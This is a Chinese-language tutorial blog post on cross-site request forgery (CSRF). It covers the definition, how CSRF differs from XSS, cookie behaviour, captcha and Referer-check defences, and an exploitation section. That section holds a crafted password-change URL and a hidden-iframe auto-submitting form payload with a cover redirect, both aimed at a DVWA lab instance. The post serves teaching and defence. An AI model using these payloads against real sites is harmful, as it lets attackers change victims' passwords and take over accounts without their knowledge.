CSRF(1)-----定义,原理和防护-----from表单提交数据

本文链接：https://blog.csdn.net/Z_Grant/article/details/100709445

本文深入解析CSRF（跨站请求伪造）攻击原理，探讨其与XSS的区别，介绍CSRF的实现前提、危害及利用条件。同时，文章还讨论了cookie与CSRF的关系，展示了如何利用GET请求和表单提交进行攻击，并提出了包括验证码、RefererCheck和Token检测在内的防御策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

一，定义和原理

CSRF（Cross Site Request Forgery, 跨站请求伪造）:

是一种挟制终端用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法

简单概括：受害者一旦点击了攻击者构造的链接，就能迫使受害者的浏览器在已经登录过的网站上去执行特定操作。
.
原理：攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作。

(1)与XSS不同之处

①XSS利用站点内信任的用户，而CSRF则通过伪装成被信任的用户。
②XSS容易被发现，攻击者需要登录完成攻击。管理员可以看日志发现攻击者。而CSRF则不同，攻击者只负责构造。

(2)CSRF实现的基础前提

①目标用户已经成功访问登录了网站，能够执行网站的功能
②目标用户访问了攻击者构造的URL
③受害者在同一浏览器下操作
④攻击者熟悉传入参数的意义

(3)?CSRF的危害

在受害者不知情的情况下，发邮件、发消息、甚至财产操作、修改密码等操作。
后台添加管理员、获取webshell。
社交平台恶意刷粉。投票平台恶意刷票。

(4)CSRF的利用条件

①在攻击者可以得到url的所有参数并了解其含义
②参数可控。就可以根据url构造一个payload

(5)?为什么会有CSRF

简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。
重要操作的所有参数都是可以被攻击者猜测到的

(6)CSRF为业务逻辑漏洞

csrf是业务逻辑漏洞（扫描工具不好扫出）【在服务来看，所有的请求合法】
xss，sql注入是技术漏洞（扫描工具可以扫出）

二，cookie与CSRF

攻击者伪造的请求之所以能够通过受害者被服务器验证通过,是因为受害者的浏览器成功发送了Cookie的缘故.

(1)浏览器所持有的cookie分为两种:

①Session Cookie（临时Cookie）
②Thid- party Cookie（本地 Cookie）

(2)区别

本地Cookie是服务器在 Set-Cookie时指定了 Expire时间,只有到了Expire时间后cookie才会失效;
Session Cookie则没有指定Expire时间,所以浏览器关闭后, Session Cookie就失效了.
Session Cookie保存在浏览器的内存空间中，本地cookie则保存在客户端本地

(3)与CSRF的关系

攻击者在构造攻击环境时，通常使用不同的标签中构造的URL对受害者CSRF

对于部分版本的IE浏览器

默认禁止了浏览器在<img>、< iframe>、< script>、<ink>等标签中发送第三方的本地 Cookie
攻击者则需要先诱使受害者在当前浏览器中先访问目标站点,使得 Session cookie有效,再实施CSRF攻击

主流浏览器是否禁止上传第三方本地cookie的分类

默认会拦截本地Cookie的有:IE6、IE7、IE8、 Safari;
不会拦截的有: Firefox，Opera、 Chrome等.

但若CSRF攻击的目标并不需要使用 Cookie,则也不必顾虑浏览器的 Cookie策略了.

三，漏洞利用

(1)通过GET请求方式发起

【源码】

f( isset( $_GET[ 'Change' ] ) ) { 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ];

【构造URL】

 http://192.168.44.131/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Chang

(2)只能由GET请求发起？

大多数CSRF攻击发起时,使用的HTML标签都是<img>、< iframe>、< script>等带"src"属性的标签,这类标签只能够发起一次GET请求,而不能发起POST请求.
对于很多网站的应用来说,一些重要操作并未严格地区分GET与POST,攻击者可以使用GET来请求表单的提交地址.比如在PHP中,如果使用的$_REQUEST,而非$_POST获取变量,则会存在这个问题.
对与后端为$_POST来获取变量时，可以使用自动提交from表单的方法

(3)?在页面构造表单，用JS自动提交

HTML 表单：表单用于搜集不同类型的用户输入。w3的表单讲解

可以用 burp suite 用直接生成代码的工具，生成完之后还需修改请求方法为POST，然后修改为自动提交
设置为自动提交表单
结合<meta>标签跳转页面

【“payload”】

<iframe name="black" style="display:none;"></iframe>        ☞//使用iframe标签，隐藏内容

<script language=javascript id="attack"> 
	setTimeout("document.hack.submit()",0)                      ☞//实现自动提交from表单，0代表0毫秒提交一次表单【不延迟发送】
</script>

<form action="http://192.168.44.131/dvwa/vulnerabilities/csrf/" method="post" name="hack"  target="black">
  <input type="hidden" name="password&#95;new" value="1" />
  <input type="hidden" name="password&#95;conf" value="1" />
  <input type="hidden" name="Change" value="Change" />
  <input type="submit"  value="submit" />
</form>

<meta http-equiv="refresh" content="1;url=https://www.baidu.com">      ☞//跳转，做到隐蔽处理
                                   //这里为1，目的是先改密码，再跳转页面

【作用】

可以应付后端$_POST接受数据的服务器

.
【如何实现】

结合XSS或者文件上传

.
【效果】

受害者访问直接跳转到百度。但是已经完成攻击者的目的。

四，防御

(1)验证码

CSRF攻击的过程,往往是在用户不知情的情况下构造了网络请求.而验证码则强制用户必须与应用进行交互,才能完成最终请求.因此在通常情况下,验证码能够很好地遏制CSRF攻击.

但网站不能给所有的操作都加上验证码.因此,验证码只能作为防御CSRF的一种辅助手段,而不能作为最主要的解决方案

(2) Referer Check

检测原理

通过检测请求包中的refere内容，是否同源

.
缺点

服务器并非什么时候都能取到Referer。
eg：（用户限制了 Referer的发送。或者在某些情况下,浏览器也不会发送 Referer比如从 Https跳转到HTTP,出于安全的考虑,浏览器也不会发送 Referer。

.
总结

无法依赖于 Referer Check作为防御CSRF的主要手段.但是通过 Referer check来监控CSRF攻击的发生,倒是一种可行的方法.